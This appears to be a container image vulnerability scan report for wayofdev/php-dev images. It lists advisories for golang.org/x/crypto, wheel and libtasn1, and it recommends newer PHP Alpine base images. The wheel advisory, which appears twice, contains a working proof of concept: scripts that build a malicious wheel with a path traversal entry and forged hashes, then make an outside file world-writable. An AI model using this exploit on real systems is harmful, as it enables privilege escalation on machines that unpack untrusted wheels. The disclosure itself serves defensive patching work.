golang.org/x/crypto 0.17.0 (golang) pkg:golang/golang.org/x/crypto@0.17.0 Improper Authorization Affected range <0.31.0 Fixed version 0.31.0 CVSS Score 9.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 30.289% EPSS Percentile 97th percentile Description Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance. Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process. Affected range <0.35.0 Fixed version 0.35.0 EPSS Score 0.215% EPSS Percentile 44th percentile Description SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

libtasn1 4.20.0-r0 (apk) pkg:apk/alpine/libtasn1@4.20.0-r0?os_name=alpine&os_version=3.23 Affected range <4.21.0-r0 Fixed version 4.21.0-r0 EPSS Score 0.055% EPSS Percentile 17th percentile Description

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🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest

digest	sha256:6ee930c23bc1a07aa0d2f8dfc93c6812432c8b3697d73fead991a5ac77024034
vulnerabilities
platform	linux/amd64
size	133 MB
packages	285

📦 Base Image php:8.3-alpine

also known as	8.3-alpine3.23 8.3-cli-alpine 8.3-cli-alpine3.23 8.3.30-alpine 8.3.30-alpine3.23 8.3.30-cli-alpine 8.3.30-cli-alpine3.23
digest	sha256:169e808d8f7d1346b8854ebdead7969f75aaf8ad866f31f48b17379882ed01a6
vulnerabilities

golang.org/x/crypto 0.17.0 (golang) pkg:golang/golang.org/x/crypto@0.17.0 Improper Authorization Affected range <0.31.0 Fixed version 0.31.0 CVSS Score 9.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 30.289% EPSS Percentile 97th percentile Description Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance. Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process. Affected range <0.35.0 Fixed version 0.35.0 EPSS Score 0.215% EPSS Percentile 44th percentile Description SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

wheel 0.45.1 (pypi) pkg:pypi/wheel@0.45.1 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=0.46.1 Fixed version 0.46.2 CVSS Score 7.1 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H Description Summary Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification. Root Cause Component: wheel.cli.unpack.unpack function. Affected Packages: wheel (Upstream source) setuptools (Downstream, vendors wheel) Severity: High (Allows modifying system file permissions). Details The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. # Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel) for zinfo in wf.filelist: wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile # (2) VULNERABILITY: # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'. # If zinfo.filename contains "../", this targets files outside the destination. permissions = zinfo.external_attr >> 16 & 0o777 destination.joinpath(zinfo.filename).chmod(permissions) PoC I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack. Prerequisites: pip install setuptools Step 1: Generate the Malicious Wheel (gen_poc.py) This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list. import zipfile import hashlib import base64 import os def urlsafe_b64encode(data): """ Helper function to encode data using URL-safe Base64 without padding. Required by the Wheel file format specification. """ return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii') def get_hash_and_size(data_bytes): """ Calculates SHA-256 hash and size of the data. These values are required to construct a valid 'RECORD' file, which is used by the 'wheel' library to verify integrity. """ digest = hashlib.sha256(data_bytes).digest() hash_str = "sha256=" + urlsafe_b64encode(digest) return hash_str, str(len(data_bytes)) def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"): print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}") # 1. Prepare Standard Metadata Content # These are minimal required contents to make the wheel look legitimate. wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n" metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n" # 2. Define Malicious Payload (Path Traversal) # The content doesn't matter, but the path does. payload_content = b"PWNED by Path Traversal" # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../' # The vulnerability allows 'chmod' to affect this path directly. malicious_path = "../../poc_target.txt" # 3. Calculate Hashes for Integrity Check Bypass # The 'wheel' library verifies if the file hash matches the RECORD entry. # To bypass this check, we calculate the correct hash for our malicious file. wheel_hash, wheel_size = get_hash_and_size(wheel_content) metadata_hash, metadata_size = get_hash_and_size(metadata_content) payload_hash, payload_size = get_hash_and_size(payload_content) # 4. Construct the 'RECORD' File # The RECORD file lists all files in the wheel with their hashes. # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here. # This tricks the 'wheel' library into treating the malicious file as a valid, verified component. record_lines = [ f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}", f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}", f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path "evil-1.0.dist-info/RECORD,," ] record_content = "\n".join(record_lines).encode('utf-8') # 5. Build the Zip File with zipfile.ZipFile(filename, "w") as zf: # Write standard metadata files zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content) zf.writestr("evil-1.0.dist-info/METADATA", metadata_content) zf.writestr("evil-1.0.dist-info/RECORD", record_content) # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file # We need to set specific permission bits to trigger the vulnerability. zinfo = zipfile.ZipInfo(malicious_path) # Set external attributes to 0o777 (rwxrwxrwx) # Upper 16 bits: File type (0o100000 = Regular File) # Lower 16 bits: Permissions (0o777 = World Writable) # The vulnerable 'unpack' function will blindly apply this '777' to the system file. zinfo.external_attr = (0o100000 | 0o777) << 16 zf.writestr(zinfo, payload_content) print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.") if __name__ == "__main__": create_evil_wheel_v4() Step 2: Run the Exploit (exploit.py) from pathlib import Path import sys # Demonstrating impact on setuptools try: from setuptools._vendor.wheel.cli.unpack import unpack print("[*] Loaded unpack from setuptools") except ImportError: from wheel.cli.unpack import unpack print("[*] Loaded unpack from wheel") # 1. Setup Target (Read-Only system file simulation) target = Path("poc_target.txt") target.write_text("SENSITIVE CONFIG") target.chmod(0o400) # Read-only print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}") # 2. Run Vulnerable Unpack # The wheel contains "../../poc_target.txt". # unpack() will extract safely, BUT chmod() will hit the actual target file. try: unpack("evil-1.0-py3-none-any.whl", "unpack_dest") except Exception as e: print(f"[!] Ignored expected extraction error: {e}") # 3. Check Result final_perms = oct(target.stat().st_mode)[-3:] print(f"[*] Final Perms: {final_perms}") if final_perms == "777": print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!") else: print("[-] Attack failed.") result: Impact Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. Recommended Fix The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract(). Suggested Patch: # extract() returns the actual path where the file was written extracted_path = wf.extract(zinfo, destination) # Only apply chmod if a file was actually written if extracted_path: permissions = zinfo.external_attr >> 16 & 0o777 Path(extracted_path).chmod(permissions)

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Base image is php:8.2-fpm-alpine

Name	8.2.30-fpm-alpine3.23
Digest	sha256:c3b2a242e7e61917960f2b13c1669a6fce7816b161fbc1616d0b4d491071c093
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Pushed	1 week ago
Size	33 MB
Packages	62
Flavor	alpine
OS	3.23
Runtime	8.2.30

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Tag	Details	Pushed	Vulnerabilities
8.4-fpm-alpine Minor runtime version update Also known as: 8.4.17-fpm-alpine 8.4.17-fpm-alpine3.23 8.4-fpm-alpine3.23	Benefits: Same OS detected Minor runtime version update Tag was pushed more recently Image has similar size Image has same number of vulnerabilities Image contains equal number of packages Image details: Size: 36 MB Flavor: alpine OS: 3.23 Runtime: 8.4.17	5 days ago
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8.5-fpm-alpine Image has same number of vulnerabilities Also known as: 8.5.2-fpm-alpine 8.5.2-fpm-alpine3.23 8.5-fpm-alpine3.23 8-fpm-alpine 8-fpm-alpine3.23 fpm-alpine	Benefits: Same OS detected Image contains 1 fewer package Tag was pushed more recently Image has similar size Image has same number of vulnerabilities Image details: Size: 38 MB Flavor: alpine	5 days ago

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🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest

digest	sha256:c97761239c29986492d6eecfb1c01f608620d21babc19094989bd165f28e60b5
vulnerabilities
platform	linux/amd64
size	132 MB
packages	285

📦 Base Image php:8.2-alpine

also known as	8.2-alpine3.23 8.2-cli-alpine 8.2-cli-alpine3.23 8.2.30-alpine 8.2.30-alpine3.23 8.2.30-cli-alpine 8.2.30-cli-alpine3.23
digest	sha256:87f097f8e96a5ea5a7eb41d99f1c7a8cb8565755b027fcbc64cb9bfcedaeb7bf
vulnerabilities

golang.org/x/crypto 0.17.0 (golang) pkg:golang/golang.org/x/crypto@0.17.0 Improper Authorization Affected range <0.31.0 Fixed version 0.31.0 CVSS Score 9.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 30.289% EPSS Percentile 97th percentile Description Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance. Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process. Affected range <0.35.0 Fixed version 0.35.0 EPSS Score 0.215% EPSS Percentile 44th percentile Description SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

wheel 0.45.1 (pypi) pkg:pypi/wheel@0.45.1 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=0.46.1 Fixed version 0.46.2 CVSS Score 7.1 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H Description Summary Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification. Root Cause Component: wheel.cli.unpack.unpack function. Affected Packages: wheel (Upstream source) setuptools (Downstream, vendors wheel) Severity: High (Allows modifying system file permissions). Details The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. # Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel) for zinfo in wf.filelist: wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile # (2) VULNERABILITY: # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'. # If zinfo.filename contains "../", this targets files outside the destination. permissions = zinfo.external_attr >> 16 & 0o777 destination.joinpath(zinfo.filename).chmod(permissions) PoC I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack. Prerequisites: pip install setuptools Step 1: Generate the Malicious Wheel (gen_poc.py) This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list. import zipfile import hashlib import base64 import os def urlsafe_b64encode(data): """ Helper function to encode data using URL-safe Base64 without padding. Required by the Wheel file format specification. """ return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii') def get_hash_and_size(data_bytes): """ Calculates SHA-256 hash and size of the data. These values are required to construct a valid 'RECORD' file, which is used by the 'wheel' library to verify integrity. """ digest = hashlib.sha256(data_bytes).digest() hash_str = "sha256=" + urlsafe_b64encode(digest) return hash_str, str(len(data_bytes)) def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"): print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}") # 1. Prepare Standard Metadata Content # These are minimal required contents to make the wheel look legitimate. wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n" metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n" # 2. Define Malicious Payload (Path Traversal) # The content doesn't matter, but the path does. payload_content = b"PWNED by Path Traversal" # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../' # The vulnerability allows 'chmod' to affect this path directly. malicious_path = "../../poc_target.txt" # 3. Calculate Hashes for Integrity Check Bypass # The 'wheel' library verifies if the file hash matches the RECORD entry. # To bypass this check, we calculate the correct hash for our malicious file. wheel_hash, wheel_size = get_hash_and_size(wheel_content) metadata_hash, metadata_size = get_hash_and_size(metadata_content) payload_hash, payload_size = get_hash_and_size(payload_content) # 4. Construct the 'RECORD' File # The RECORD file lists all files in the wheel with their hashes. # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here. # This tricks the 'wheel' library into treating the malicious file as a valid, verified component. record_lines = [ f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}", f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}", f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path "evil-1.0.dist-info/RECORD,," ] record_content = "\n".join(record_lines).encode('utf-8') # 5. Build the Zip File with zipfile.ZipFile(filename, "w") as zf: # Write standard metadata files zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content) zf.writestr("evil-1.0.dist-info/METADATA", metadata_content) zf.writestr("evil-1.0.dist-info/RECORD", record_content) # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file # We need to set specific permission bits to trigger the vulnerability. zinfo = zipfile.ZipInfo(malicious_path) # Set external attributes to 0o777 (rwxrwxrwx) # Upper 16 bits: File type (0o100000 = Regular File) # Lower 16 bits: Permissions (0o777 = World Writable) # The vulnerable 'unpack' function will blindly apply this '777' to the system file. zinfo.external_attr = (0o100000 | 0o777) << 16 zf.writestr(zinfo, payload_content) print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.") if __name__ == "__main__": create_evil_wheel_v4() Step 2: Run the Exploit (exploit.py) from pathlib import Path import sys # Demonstrating impact on setuptools try: from setuptools._vendor.wheel.cli.unpack import unpack print("[*] Loaded unpack from setuptools") except ImportError: from wheel.cli.unpack import unpack print("[*] Loaded unpack from wheel") # 1. Setup Target (Read-Only system file simulation) target = Path("poc_target.txt") target.write_text("SENSITIVE CONFIG") target.chmod(0o400) # Read-only print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}") # 2. Run Vulnerable Unpack # The wheel contains "../../poc_target.txt". # unpack() will extract safely, BUT chmod() will hit the actual target file. try: unpack("evil-1.0-py3-none-any.whl", "unpack_dest") except Exception as e: print(f"[!] Ignored expected extraction error: {e}") # 3. Check Result final_perms = oct(target.stat().st_mode)[-3:] print(f"[*] Final Perms: {final_perms}") if final_perms == "777": print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!") else: print("[-] Attack failed.") result: Impact Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. Recommended Fix The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract(). Suggested Patch: # extract() returns the actual path where the file was written extracted_path = wf.extract(zinfo, destination) # Only apply chmod if a file was actually written if extracted_path: permissions = zinfo.external_attr >> 16 & 0o777 Path(extracted_path).chmod(permissions)

libtasn1 4.20.0-r0 (apk) pkg:apk/alpine/libtasn1@4.20.0-r0?os_name=alpine&os_version=3.23 Affected range <4.21.0-r0 Fixed version 4.21.0-r0 EPSS Score 0.055% EPSS Percentile 17th percentile Description

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Base image is php:8.3-alpine

Name	8.3.30-alpine3.23
Digest	sha256:169e808d8f7d1346b8854ebdead7969f75aaf8ad866f31f48b17379882ed01a6
Vulnerabilities
Pushed	5 days ago
Size	38 MB
Packages	61
Flavor	alpine
OS	3.23
Runtime	8.3.30

The base image is also available under the supported tag(s): 8.3-alpine3.23, 8.3-cli-alpine, 8.3-cli-alpine3.23, 8.3.30-alpine, 8.3.30-alpine3.23, 8.3.30-cli-alpine, 8.3.30-cli-alpine3.23

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Tag	Details	Pushed	Vulnerabilities
8.5-alpine Minor runtime version update Also known as: 8.5.2-cli-alpine 8.5.2-cli-alpine3.23 8.5-cli-alpine 8.5-cli-alpine3.23 8-cli-alpine 8-cli-alpine3.23 cli-alpine cli-alpine3.23 alpine alpine3.23 8.5.2-alpine 8.5.2-alpine3.23 8.5-alpine3.23 8-alpine 8-alpine3.23	Benefits: Same OS detected Minor runtime version update Image contains 1 fewer package Tag was pushed more recently Image has similar size Image has same number of vulnerabilities Image details: Size: 44 MB Flavor: alpine OS: 3.23 Runtime: 8.5.2	5 days ago
8.4-alpine Minor runtime version update Also known as: 8.4.17-cli-alpine 8.4.17-cli-alpine3.23 8.4-cli-alpine 8.4-cli-alpine3.23 8.4.17-alpine 8.4.17-alpine3.23 8.4-alpine3.23	Benefits: Same OS detected Minor runtime version update Image has similar size Image has same number of vulnerabilities Image contains equal number of packages Image details: Size: 41 MB Flavor: alpine OS: 3.23 Runtime: 8.4.17	6 days ago

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Base image is php:8.2-alpine

Name	8.2.30-alpine3.23
Digest	sha256:87f097f8e96a5ea5a7eb41d99f1c7a8cb8565755b027fcbc64cb9bfcedaeb7bf
Vulnerabilities
Pushed	1 week ago
Size	37 MB
Packages	61
Flavor	alpine
OS	3.23
Runtime	8.2.30

The base image is also available under the supported tag(s): 8.2-alpine3.23, 8.2-cli-alpine, 8.2-cli-alpine3.23, 8.2.30-alpine, 8.2.30-alpine3.23, 8.2.30-cli-alpine, 8.2.30-cli-alpine3.23

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Tag	Details	Pushed	Vulnerabilities
8.4-alpine Minor runtime version update Also known as: 8.4.17-cli-alpine 8.4.17-cli-alpine3.23 8.4-cli-alpine 8.4-cli-alpine3.23 8.4.17-alpine 8.4.17-alpine3.23 8.4-alpine3.23	Benefits: Same OS detected Minor runtime version update Tag was pushed more recently Image has similar size Image has same number of vulnerabilities Image contains equal number of packages Image details: Size: 41 MB Flavor: alpine OS: 3.23 Runtime: 8.4.17	6 days ago
8.3-alpine Minor runtime version update Also known as: 8.3.30-cli-alpine 8.3.30-cli-alpine3.23 8.3-cli-alpine 8.3-cli-alpine3.23 8.3.30-alpine 8.3.30-alpine3.23 8.3-alpine3.23	Benefits: Same OS detected Minor runtime version update Tag was pushed more recently Image has similar size Image has same number of vulnerabilities Image contains equal number of packages Image details: Size: 38 MB Flavor: alpine OS: 3.23 Runtime: 8.3.30	5 days ago
8.5-alpine Minor runtime version update Also known as: 8.5.2-cli-alpine 8.5.2-cli-alpine3.23 8.5-cli-alpine 8.5-cli-alpine3.23 8-cli-alpine 8-cli-alpine3.23 cli-alpine cli-alpine3.23 alpine alpine3.23 8.5.2-alpine 8.5.2-alpine3.23 8.5-alpine3.23 8-alpine 8-alpine3.23	Benefits: Same OS detected Minor runtime version update Image contains 1 fewer package Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 44 MB Flavor: alpine OS: 3.23 Runtime: 8.5.2	5 days ago

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digest	sha256:ae9d7c56342b9bb12ada27c93aa4f41651ad9d3be273cf2155905b5ca9d7dc56
vulnerabilities
platform	linux/amd64
size	118 MB
packages	250

📦 Base Image php:8.4-alpine

also known as	8.4-alpine3.23 8.4-cli-alpine 8.4-cli-alpine3.23 8.4.17-alpine 8.4.17-alpine3.23 8.4.17-cli-alpine 8.4.17-cli-alpine3.23
digest	sha256:3c7cf729b330a4b86781e95d5f1317dfb24753748ec54b4cf4d80f83de8d0d91
vulnerabilities

golang.org/x/crypto 0.17.0 (golang) pkg:golang/golang.org/x/crypto@0.17.0 Improper Authorization Affected range <0.31.0 Fixed version 0.31.0 CVSS Score 9.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 30.289% EPSS Percentile 97th percentile Description Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance. Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process. Affected range <0.35.0 Fixed version 0.35.0 EPSS Score 0.215% EPSS Percentile 44th percentile Description SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

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Base image is php:8.4-alpine

Name	8.4.17-alpine3.23
Digest	sha256:3c7cf729b330a4b86781e95d5f1317dfb24753748ec54b4cf4d80f83de8d0d91
Vulnerabilities
Pushed	6 days ago
Size	41 MB
Packages	61
Flavor	alpine
OS	3.23
Runtime	8.4.17

The base image is also available under the supported tag(s): 8.4-alpine3.23, 8.4-cli-alpine, 8.4-cli-alpine3.23, 8.4.17-alpine, 8.4.17-alpine3.23, 8.4.17-cli-alpine, 8.4.17-cli-alpine3.23

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Tag	Details	Pushed	Vulnerabilities
8.5-alpine Minor runtime version update Also known as: 8.5.2-cli-alpine 8.5.2-cli-alpine3.23 8.5-cli-alpine 8.5-cli-alpine3.23 8-cli-alpine 8-cli-alpine3.23 cli-alpine cli-alpine3.23 alpine alpine3.23 8.5.2-alpine 8.5.2-alpine3.23 8.5-alpine3.23 8-alpine 8-alpine3.23	Benefits: Same OS detected Minor runtime version update Image contains 1 fewer package Tag was pushed more recently Image has similar size Image has same number of vulnerabilities Image details: Size: 44 MB Flavor: alpine OS: 3.23 Runtime: 8.5.2	5 days ago

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🔍 Vulnerabilities of wayofdev/php-dev:latest

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digest	sha256:eae79a5a8f709aea0fa804b2d4b56b01cd87fc6eb5828fbde353d04ab18bc7ff
vulnerabilities
platform	linux/amd64
size	137 MB
packages	285

📦 Base Image php:8.4-alpine

also known as	8.4-alpine3.23 8.4-cli-alpine 8.4-cli-alpine3.23 8.4.17-alpine 8.4.17-alpine3.23 8.4.17-cli-alpine 8.4.17-cli-alpine3.23
digest	sha256:3c7cf729b330a4b86781e95d5f1317dfb24753748ec54b4cf4d80f83de8d0d91
vulnerabilities

golang.org/x/crypto 0.17.0 (golang) pkg:golang/golang.org/x/crypto@0.17.0 Improper Authorization Affected range <0.31.0 Fixed version 0.31.0 CVSS Score 9.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N EPSS Score 30.289% EPSS Percentile 97th percentile Description Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass. The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions. For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key. Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth. Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance. Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process. Affected range <0.35.0 Fixed version 0.35.0 EPSS Score 0.215% EPSS Percentile 44th percentile Description SSH servers which implement file transfer protocols are vulnerable to a denial of service 